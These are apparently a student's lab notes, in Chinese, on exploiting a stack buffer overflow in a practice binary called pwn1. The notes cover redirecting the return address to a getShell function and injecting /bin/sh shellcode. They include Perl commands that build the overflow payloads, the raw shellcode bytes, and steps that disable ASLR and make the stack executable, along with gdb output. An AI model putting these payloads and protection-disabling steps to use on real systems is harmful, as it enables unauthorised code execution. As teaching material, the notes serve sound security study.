@Half-Bread
2020-03-12T08:23:13.000000Z
字数 4322
阅读 104
3种思路
1. 手工修改可执行文件,改变程序执行流程
2. 利用函数执行时的Bof**漏洞**,这里是foo的Bof漏洞
3. 注入一个自己制作的shellcode并运行这段shellcode
没记
objdump -d pwn1
call 指令指令地址是 e8
d7 ff ff ff(小端在前):执行到call的时候,EIP指向80484ba,call指令将ffffffd7加到EIP上。ffffffd7是补码。由地址1-地址2得到
计算出需要修改的后,直接使用vi进行编辑(或用图形化编辑器 wxHexEditor),将d3修改为新的
不知道
sub $0x38, %esp 为局部变量分配了空间
call语句调用gets,要给gets准备参数。
gets函数得到的数据放在哪里?按他的意思是栈帧的栈底地址减去0x1c(十进制的28)后得到地址d,把数据放到从d开始的空间里。也就是留了28个字节的空间。如果gets函数的读取到的数据**,多的数据就会覆盖高地址的栈空间。
lea那行没看懂
call指令相当于1.push EIP + 2.jmp
理解可以参考这个网站
那高地址的栈中保留了什么数据呢?回到主函数,在foo函数的push %ebp指令执行前,执行了call 8048491 \指令。call指令执行时,会先将下一条指令的地址,即EIP寄存器的内容(80484ba)存入栈中,然后将要执行的函数的地址放入EIP中。被执行的函数执行完后,会将先前保持的地址从栈中弹出到EIP,使程序能够继续执行。
如果gets写入的数据过多,就会覆盖栈中保存的地址,使foo函数执行完后,要执行的下一条指令被修改。
gets输入的字符,前28个字节会输入到为它预留的空间中,后4个字节会放入到ESP中,后4个字节会放入到EIP(被保存的地址)中(画一下堆栈结构?),如果通过构造字符串,用getShell的地址替换掉原来保存的地址,就可以在执行完foo后,执行getShell函数。
Segmentation fault
注意一下顺序:(小端优先)
由于\x7d\x84...这样的16进制值,不能通过键盘输入,所以使用Perl语言生成一个包含这些字符的文件,\x0a代表回车
$Perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > input
生成input文件后,可以使用16进制查看指令xxd
查看input文件内容
使用管道|
做为pwn1的输入
$(cat input; cat) | ./pwn1
重点在栈
构造shellcode->注入->覆盖
上一个实验中,是将EIP覆盖为getshell的地址,本实验中,是先存放shellcode,然后将EIP的地址改为注入的shellcode的地址
最基本的shellcode的编写可参考徐同学的shellcode入门
本次实验使用写好的shellcode
懒得复制
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行,为什么?
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space //关闭ASLR(地址空间布局随机化)
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
为什么要设置栈可执行?
答:他说什么我没听清
为什么要关闭ASLR?
答:保证栈的起始地址相同
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
我们这个buf够放这个shellcode了(这个是怎么得出来的?)
root@KaliYL:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
接下来我们来确定\x4\x3\x2\x1到底该填什么。
打开一个终端注入这段攻击buf:
root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1
������1�Ph//shh/bin��PS��1Ұ
�
(过程,如下,没看懂。。。)
再开另外一个终端,用gdb来调试pwn1这个进程。
//1.找到pwn1的进程号是:27728
root@KaliYL:/home# ps -ef | grep pwn1
root 27728 25675 0 10:19 pts/1 00:00:00 ./pwn1
root 27732 25991 0 10:19 pts/2 00:00:00 grep pwn1
root@KaliYL:/home#
//2.启动gdb调试这个进程
root@KaliYL:/home# gdb
(gdb) attach 27728
Attaching to process 27728
//3. 通过设置断点,来查看注入buf的内存地址
(gdb) disassemble foo
Dump of assembler code for function foo:
0x08048491 <+0>: push %ebp
0x08048492 <+1>: mov %esp,%ebp
0x08048494 <+3>: sub $0x38,%esp
0x08048497 <+6>: lea -0x1c(%ebp),%eax
0x0804849a <+9>: mov %eax,(%esp)
0x0804849d <+12>: call 0x8048330 <gets@plt>
0x080484a2 <+17>: lea -0x1c(%ebp),%eax
0x080484a5 <+20>: mov %eax,(%esp)
0x080484a8 <+23>: call 0x8048340 <puts@plt>
0x080484ad <+28>: leave
0x080484ae <+29>: ret //断在这,这时注入的东西都大堆栈上了
//ret完,就跳到我们覆盖的retaddr那个地方了
End of assembler dump.
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
//在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。
(gdb) c
Continuing.
Breakpoint 1, 0x080484ae in foo ()
(gdb) info r esp
esp 0xffffd31c 0xffffd31c
(gdb) x/16x 0xffffd31c //看到 01020304了,再往前找
0xffffd31c: 0x01020304 0xf7fa0000 0xf7faa000 0x00000000
0xffffd32c: 0xf7e135f7 0x00000001 0xffffd3c4
(gdb) x/16x 0xffffd300 //看到9090310c了,再往前一点
0xffffd300: 0xc0319090 0x2f2f6850 0x2f686873 0x896e6962
0xffffd310: 0x895350e3 0xb0d231e1 0x9080cd0b
(gdb) x/16x 0xffffd2fc //从这开始就是我们的Shellcode
0xffffd2fc: 0x90909090 0xc0319090 0x2f2f6850 0x2f686873
0xffffd30c: 0x896e6962 0x895350e3 0xb0d231e1 0x9080cd0b
0xffffd31c: 0x01020304 0xf7fa0000 0xf7faa000 0x00000000
0xffffd32c: 0xf7e135f7 0x00000001 0xffffd3c4 0xffffd3cc
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x01020304 in ?? () //这个返回地址占位也是对的
(gdb) quit
//4.我决定将返回地址改为0xffffd300。
。。。。。略过一堆
之前那个没做成,重新开始之后成果了